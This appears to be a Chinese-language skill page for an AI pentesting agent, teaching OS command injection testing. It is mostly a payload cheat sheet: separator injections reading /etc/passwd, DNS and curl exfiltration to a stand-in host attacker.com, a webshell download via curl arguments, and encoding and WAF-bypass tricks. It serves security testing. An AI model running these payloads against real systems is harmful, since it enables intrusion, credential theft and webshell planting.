원클릭으로
command-injection
// 操作系统命令注入漏洞测试技能。覆盖 Linux 和 Windows 环境下的命令注入检测与验证, 提供多种注入操作符、盲注检测方法、编码绕过策略和分步测试流程, 适用于 Web 应用中命令执行类漏洞的发现与确认(CWE-77/CWE-78)。
// 操作系统命令注入漏洞测试技能。覆盖 Linux 和 Windows 环境下的命令注入检测与验证, 提供多种注入操作符、盲注检测方法、编码绕过策略和分步测试流程, 适用于 Web 应用中命令执行类漏洞的发现与确认(CWE-77/CWE-78)。
渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能,将抽象的安全测试方法论 映射到可直接调用的工具链,定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作,串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时,应首先参考此技能进行任务设计。
Web 应用越权漏洞测试技能。覆盖水平越权(IDOR)、垂直越权(权限提升)、业务逻辑绕过 三大类测试场景。提供基于 HTTP 请求篡改的系统化测试方法论,包括参数替换、Cookie/Token 交换、角色 ID 篡改、隐藏字段操控、HTTP 方法变换、路径遍历、请求头伪造等具体技术。 每种技术都映射到可直接调用的工具(do_http_request, send_http_request_packet, use_browser), 确保 AI 可以自动化执行越权测试。参考 OWASP WSTG-ATHZ-02/03/04 和 OWASP Top 10 A01。
Browser automation skill for web page interaction. Two strategies: (1) Snapshot + refs for simple static pages; (2) JavaScript-first for login forms, SPA, and dynamic pages (PREFERRED). Covers opening URLs, snapshots, clicking, filling forms, evaluating JS, screenshots, tab management, and navigation. Built on go-rod/CDP with headless Chrome. If snapshot returns 0 element refs, DO NOT retry -- switch to JavaScript strategy immediately.
渗透测试侦查与任务规划技能。定义渗透测试的完整工作流程:从信息收集(Recon)到 范围确定、任务规划和漏洞测试执行。覆盖端口扫描、子域名枚举、Web 搜索、 服务识别等侦查手段,提供 OWASP Top 10 检查矩阵和任务编排策略。
SQL 注入漏洞测试技能。覆盖联合注入、布尔盲注、时间盲注、报错注入、堆叠查询等攻击向量, 提供 MySQL/PostgreSQL/MSSQL/Oracle/SQLite 多数据库的特征 Payload, 包含 WAF 绕过策略和系统化测试流程,适用于 Web 应用 SQL 注入漏洞的发现与确认。
服务端模版注入(SSTI)漏洞测试技能。提供模版引擎指纹识别决策树,覆盖 Jinja2/Twig/Freemarker/Velocity/Thymeleaf/Smarty/Pebble/Mako 等主流引擎的 PoC 探测与 RCE Payload,包含沙箱逃逸技术和系统化测试流程(CWE-1336)。
| name | command-injection |
| description | 操作系统命令注入漏洞测试技能。覆盖 Linux 和 Windows 环境下的命令注入检测与验证, 提供多种注入操作符、盲注检测方法、编码绕过策略和分步测试流程, 适用于 Web 应用中命令执行类漏洞的发现与确认(CWE-77/CWE-78)。 |
系统化检测和验证 Web 应用中的操作系统命令注入漏洞。 通过命令分隔符注入、时间延迟观测、带外数据外带等手段, 定位未经正确过滤的系统命令拼接点。
应用程序将用户输入拼接到操作系统命令中执行:
# 危险代码示例
os.system("ping -c 1 " + user_input)
# 如果 user_input = "127.0.0.1; cat /etc/passwd"
# 实际执行: ping -c 1 127.0.0.1; cat /etc/passwd
| 操作符 | Linux | Windows | 说明 |
|---|---|---|---|
; | 支持 | 不支持 | 顺序执行,不论前一个命令成功与否 |
| | 支持 | 支持 | 管道,前一个命令的输出作为后一个的输入 |
|| | 支持 | 支持 | 前一个命令失败时执行后一个 |
&& | 支持 | 支持 | 前一个命令成功时执行后一个 |
\n (0x0a) | 支持 | 支持 | 换行符作为命令分隔 |
` | 支持 | 不支持 | 反引号,命令替换 |
$() | 支持 | 不支持 | 命令替换(推荐形式) |
& | 支持 | 支持 | 后台执行 |
常见的命令注入入口:
依次尝试各种分隔符:
# Linux
; id
| id
|| id
&& id
`id`
$(id)
; cat /etc/passwd
| cat /etc/passwd
# Windows
& whoami
| whoami
|| whoami
&& whoami
当无法直接看到命令输出时:
时间延迟法
# Linux
; sleep 10
| sleep 10
& sleep 10
`sleep 10`
$(sleep 10)
; ping -c 10 127.0.0.1
# Windows
& ping -n 10 127.0.0.1
| ping -n 10 127.0.0.1
& timeout /t 10
观察响应时间是否明显增加(比正常响应多 10 秒左右)。
DNS 外带法
# Linux
; nslookup $(whoami).attacker.com
; dig $(whoami).attacker.com
; host $(whoami).attacker.com
| curl http://attacker.com/?d=$(whoami)
`nslookup $(id).attacker.com`
# Windows
& nslookup %username%.attacker.com
| powershell -c "Invoke-WebRequest http://attacker.com/?d=$env:username"
文件写入法
# Linux
; echo INJECTION_PROOF > /tmp/proof.txt
; id > /var/www/html/proof.txt
# Windows
& echo INJECTION_PROOF > C:\inetpub\wwwroot\proof.txt
成功注入后评估:
当空格被过滤时:
# Linux - 使用 $IFS(Internal Field Separator,默认为空格)
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;{cat,/etc/passwd}
;cat</etc/passwd
;cat%09/etc/passwd # Tab
# Linux - 使用花括号扩展
{cat,/etc/passwd}
{ls,-la,/tmp}
# Windows
type%09C:\windows\win.ini
dir%09C:\
当 cat, ls, whoami 等被过滤时:
# Linux - 字符串拼接
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
# Linux - 变量拼接
a=ca;b=t;$a$b /etc/passwd
# Linux - 通配符
/bin/ca? /etc/passwd
/bin/c[a]t /etc/passwd
/???/??t /etc/passwd
# Linux - Base64 编码执行
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
bash<<<$(echo Y2F0IC9ldGMvcGFzc3dk|base64 -d)
# Linux - 替代命令
# cat 替代: tac, nl, less, more, head, tail, sort, uniq, rev, xxd, od
tac /etc/passwd
nl /etc/passwd
head -n 100 /etc/passwd
当 /etc/passwd 等路径被过滤时:
# 使用环境变量
cat ${HOME}/../etc/passwd
cat $HOME/../etc/passwd
# 使用通配符
cat /e?c/p?sswd
cat /e*c/pa*wd
cat /etc/pass??
# 使用路径遍历
cat /etc/./passwd
cat /etc/../etc/passwd
# 嵌套命令替换
$($(echo cat) /etc/passwd)
# 使用 printf
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
# 使用 $'\x' 语法
$'\x63\x61\x74' $'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'
# URL 编码(如果经过 Web 层解码)
%0aid # 换行 + id
%26id # & + id
# Hex 编码
echo -e '\x63\x61\x74 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' | bash
# Octal 编码
$'\143\141\164' $'\057\145\164\143\057\160\141\163\163\167\144'
某些应用只允许字母数字,此时:
# 利用 $0 获取当前 shell
# 利用 $? 获取上一个命令的退出码
# 利用 $$ 获取当前 PID
用户输入作为命令参数而非命令本身:
# 如果命令是 curl USER_INPUT
# 注入: --output /tmp/shell.php http://attacker.com/shell.php
# 效果: curl --output /tmp/shell.php http://attacker.com/shell.php
# 如果命令是 tar cf archive.tar USER_INPUT
# 注入: --checkpoint=1 --checkpoint-action=exec=id
REM 使用 ^ 转义符
w^h^o^a^m^i
REM 使用环境变量切片
%ComSpec:~0,1%%ComSpec:~-13,1% (提取 "c" 和 "d")
REM PowerShell 编码执行
powershell -enc <base64_encoded_command>
REM 使用 set 和 call
set a=who&& set b=ami&& call %a%%b%
;, |, ||, &&)探测$() 命令替换